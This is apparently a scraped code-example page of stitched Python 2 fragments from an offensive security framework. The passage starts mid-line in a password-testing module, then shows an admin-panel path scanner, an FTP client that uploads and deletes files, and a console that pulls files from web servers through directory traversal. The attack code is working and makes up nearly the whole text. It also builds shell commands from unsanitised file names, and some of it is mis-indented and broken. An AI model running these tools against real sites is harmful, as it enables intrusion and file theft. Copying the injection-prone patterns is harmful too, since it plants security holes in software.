                                                6][0] + "=" + password + "]\n"
                                    main(True)
                                else:
                                    print " " + Alr + " testing with the password: "******":" +
                              initialize.DEFAULT_VARIABLE[1][0])
            # END CODE MODULE ############################################################################################
        else:
            getFunction.KatanaCheckActionGlobalCommands(actions)
    # ERROR GENERAL
    except:
        Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
    # END ERROR GENERAL
    main(True)
예제 #15
0
def main(run):
    try:
        # HEAD MODULE
        if run: actions = raw_input(Message.prompt(initialize.CodeName))
        else: actions = "run"
        if getFunction.KatanaCheckActionShowOptions(actions):
            getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
        elif getFunction.KatanaCheckActionSetValue(actions):
            initialize.DEFAULT_VARIABLE = getFunction.UpdateValue(
                actions, initialize.DEFAULT_VARIABLE)
        elif getFunction.KatanaCheckActionisBack(actions):
            return
            # END HEAD MODULE
        elif getFunction.runModule(actions):
            Message.run()
            # CODE MODULE    ############################################################################################
            try:
                getFunction.live(initialize.DEFAULT_VARIABLE[0][0],
                                 initialize.DEFAULT_VARIABLE[1][0])
                if True:
                    try:
                        Message.loading_file()
                        with open(initialize.DEFAULT_VARIABLE[2][0],
                                  'r') as dirt:
                            results = ""
                            resultn = ""
                            for patch in dirt:
                                patch = patch.replace("\n", "")
                                patch = "/" + patch
                                connection = httplib.HTTPConnection(
                                    initialize.DEFAULT_VARIABLE[0][0],
                                    initialize.DEFAULT_VARIABLE[1][0])
                                connection.request("GET", patch)
                                response = connection.getresponse()
                                if response.status == 200 or response.status == 301:
                                    print " " + Suf + " Response " + patch
                                    results = "-" + Suf + " " + patch + "\n" + results
                                    resultn = patch + "," + resultn
                                else:
                                    print " " + Alr + " Checking `" + colors[
                                        0] + patch + "` Response:" + str(
                                            response.status)
                        if results != "":
                            print "\n" + results
                            getFunction.savefive(
                                "Admin Finder",
                                initialize.DEFAULT_VARIABLE[0][0],
                                initialize.DEFAULT_VARIABLE[1][0], results)
                        else:
                            print "\n " + Nrs + " Not Results :(.\n"

                    except:
                        Errors.Errors(event=sys.exc_info(),
                                      info=initialize.DEFAULT_VARIABLE[2][0])
            except:
                Errors.Errors(event=sys.exc_info(),
                              info=initialize.DEFAULT_VARIABLE[0][0] + ":" +
                              initialize.DEFAULT_VARIABLE[1][0])
            # END CODE MODULE ############################################################################################
        else:
            getFunction.KatanaCheckActionGlobalCommands(actions)
    # ERROR GENERAL
    except:
        Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
    # END ERROR GENERAL
    main(True)
예제 #16
0
def main(run):
	try:
		# HEAD MODULE
		if run:	actions=raw_input(Message.prompt(initialize.CodeName))
		else  : actions="run"
		if getFunction.KatanaCheckActionShowOptions(actions)  :getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionSetValue(actions)   :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionisBack(actions)     :return
		# END HEAD MODULE
		elif getFunction.runModule(actions):
			Message.run()
			# CODE MODULE    ############################################################################################
			try:
				getFunction.live(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0])
				if True:
					try:
						ftp.login(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0])									
						if True:
							try:
								cmd="nop"
								patch=""
								print "\n "+Hlp+" FTP Client help"
								print " ----------------------------------------"
								print " |"+colors[6]+"Commd"+colors[0]+"| "+colors[6]+"Description"+colors[0]+" | "+colors[6]+"Examples"+colors[0]+"         |"
								print " ----------------------------------------"
								print " |ls	| list files  | ls               |" 
								print " |cd	| change dir  | cd css           |"
								print " |mk	| create dir  | mk images        |"
								print " |rm	| remove file | remove config.js | "
								print " |rmd  | remove dir  | remove sex       |"
								print " |get  | get file    | get index.php    |"
								print " |put  | up file     | put login.php    |"
								print " ----------------------------------------"
								print ""
								while(cmd!="exit"):
									cmd = raw_input(Message.Client_prompt('ftp'))
									if cmd == "ls":
										ftp.retrlines("LIST")
									if cmd[0:2] == "cd":
										try:
											ftp.cwd(cmd[3:])
											if True:
												patch=cmd[3:]
												if patch == "..":
													patch=""
										except:
											print " "+Bad+" Error: directory wrong."
									if cmd[0:3] == "get":
										lfile=cmd[4:].replace("\n","")
										try:
											ftp.retrbinary('RETR '+lfile,open(lfile,'wb').write)
											if True:
												subprocess.Popen("cp "+lfile+" /root/Desktop/;rm "+lfile+"", stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
												print " "+Suf+" Saved, /root/Desktop/"+lfile
										except:
											print " "+Bad+" Error: file not found."
									if cmd[0:3] == "put":
										lfile=cmd[4:].replace("\n","")
										w = open(lfile, 'rb')
										try:
											ftp.storbinary("STOR r.r",w)
										except:
											print " "+Bad+" Error: file wrong."
									if cmd[0:2] == "rm":
										try:
											ftp.delete(cmd[3:])
										except:
											print " "+Bad+" Error: file not found."
									if cmd[0:3] == "rmd":
										pat=cmd[4:].replace("\n","")
										ftp.rmd(pat)
									if cmd[0:2] == "mk":
										try:
											ftp.mkd(cmd[3:])
										except:
											print " "+Bad+" Error: directory wrong."

							except Exception,e:
								print(" "+Bad+" Timeout, Error:", e)
					except:
						Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[2][0]+":"+initialize.DEFAULT_VARIABLE[3][0])
			except:
				Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0])			# END CODE MODULE ############################################################################################
			# END CODE MODULE ############################################################################################
		else:
			getFunction.KatanaCheckActionGlobalCommands(actions)
	# ERROR GENERAL
	except:
		Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
	# END ERROR GENERAL
	main(True)
예제 #17
0
def main(run):
	try:
		# HEAD MODULE
		if run:	actions=raw_input(Message.prompt(initialize.CodeName))
		else  : actions="run"
		if   getFunction.KatanaCheckActionShowOptions(actions):getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionSetValue(actions)   :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionisBack(actions)     :return
		# END HEAD MODULE
		elif getFunction.runModule(actions):
			Message.run()
			# CODE MODULE    ############################################################################################
			try:
				getFunction.live(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0])
				if True:
					connection = httplib.HTTPConnection(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0])
					connection.request("GET",initialize.DEFAULT_VARIABLE[2][0])
					response = connection.getresponse()
					if response.status == 200:
						print " "+Suf+" File response correctly."
						Message.space()
						print "\n "+Hlp+" LFD Console help\n"
						print "  ----------------------------------------------------"
						print "  |"+colors[12]+"Command | Description|           Examples        |"+colors[0]
						print "  ---------------------------------------------------"
						print "  |   get  | Query data | get file=index.php&dir=../ |" 
						print "  ---------------------------------------------------"
						Message.space()
						command=0
						while command!="exit":
							command=raw_input(Message.Client_prompt("LFD"))
							if command[:3] == "get":
								submit=command[4:]
								try:
									url = "http://"+initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0]+initialize.DEFAULT_VARIABLE[2][0]+"?"+submit
									file_name = url.split('/')[-1]
									u = urllib2.urlopen(url)
									f = open("tmp/"+file_name, 'wb')
									meta = u.info()
									try:		
										file_size = int(meta.getheaders("Content-Length")[0])
										if file_size != 0:
											print " "+Alr+" Request "+url
											print " "+Alr+" Downloading %s Bytes: %s" % (file_name, file_size)
											file_size_dl = 0
											block_sz = 8192
											while True:
												buffer = u.read(block_sz)
												if not buffer:
													break
												file_size_dl += len(buffer)
												f.write(buffer)
												status = r"%10d  [%3.2f%%]" % (file_size_dl, file_size_dl * 100. / file_size)
												status = status + chr(8)*(len(status)+1)
												print " "+Suf+" Completed "+status
											    	f.close()
												print " \n -------------------------------- File "+file_name+" Size: "+str(file_size)+" \n"
												os.system("cat 'tmp/"+file_name+"' -b -v ")
												os.system("rm 'tmp/"+file_name+"'")
												print " \n -------------------------------- File "+file_name+" Size: "+str(file_size)+" \n"
										else:
											print " "+War+" File empy or no exist."
									except:
										Errors.Errors(event=sys.exc_info(), info=url)
								except:
									Errors.Errors(event=sys.exc_info(), info=defaulthost+":"+defaultport)
					else:
						print " "+Bad+" File Not response correctly."
						Message.space()
			except:
				Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0])
			# END CODE MODULE ############################################################################################
		else:
			getFunction.KatanaCheckActionGlobalCommands(actions)
	# ERROR GENERAL
	except:
		Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
	# END ERROR GENERAL
	main(True)